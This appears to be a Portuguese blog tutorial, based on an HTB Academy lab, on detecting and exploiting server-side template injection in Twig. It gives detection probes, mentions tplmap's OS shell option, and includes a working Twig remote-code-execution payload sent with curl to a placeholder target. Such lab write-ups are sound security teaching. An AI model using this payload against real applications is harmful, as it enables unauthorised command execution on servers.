SSTI - Server-Side Template Injections

De acordo com o OWASP, a vulnerabilidade SSTI pode ser encontrada em aplicações web que usam a tecnologia server-side template, como Jinja2, Twig, FreeMaker, etc. Essa tecnologia é usada para gerar respostas HTML dinâmicas. 

O SSTI ocorre quando  um input de usuário é "emputido" no template de forma que a aplicação não faz a validação adequada, resultando em execução remota de código. 

Como detectar o SSTI?

Para identificar a vulnerabilidade SSTI, basta inserir nos campos da aplicação as tags de template. As tags sugeridas para esse teste são: 

{7*7}

${7*7}

#{7*7}

%{7*7}

{{7*7}}

{{7*'7'}}

Caso a aplicação seja vulnerável, o processamento da sentença 7*7 vai retornar o valor 49.


Depois de validar que a aplicação é realmente vulnerável, é preciso identificar qual é o template usado. O PortSwigger disponibiliza um diagrama que ajuda nessa detecção. 

As duas sentenças processadas foram {{7*7}} e {{7*'7'}} indicando que o template pode ser Twig ou Jinja2


Nas listas PayloadsAllThings e HackTricks podemos encontrar payloads específicos para cada tipo de template, e assim saber qual a aplicação utiliza. 

Outra forma de identificar o template usado pela aplicação é com a ferramenta tplmap Essa ferramenta usa python2, então recomendo que seja ativado o ambiente virtual para python2. 

O resultado da ferramenta confirmar que o template utilizado é o Twig


OS.Shell com SSTI usando tplmap

A ferramenta tplmap também permite executar uma shell na aplicação vulnerável através do parâmetro --os.shell


RCE com SSTI

Manualmente, também é possível executar comandos na aplicação que usa template Twig. De acordo com o laboratório para explorar o SSTI do HTB Academy, esse template usa a variável _self.env que permite usar a função getFilter para executar comandos remotamente. 


Usando cURL o payload é construído da seguinte forma:

{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}

curl -X POST -d 'name={{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}' http://<TARGET IP>:<PORT>

Resultado


Nesse artigo, mostrei como explorar o SSTI no template Twig e executar comandos remotamente na aplicação manualmente e também de forma automática com a ferramenta tplmap. 


Referencias:

[+] OWASP SSTI description

[+] tplmap 

[+] Portswigger


Comentários

Postagens mais visitadas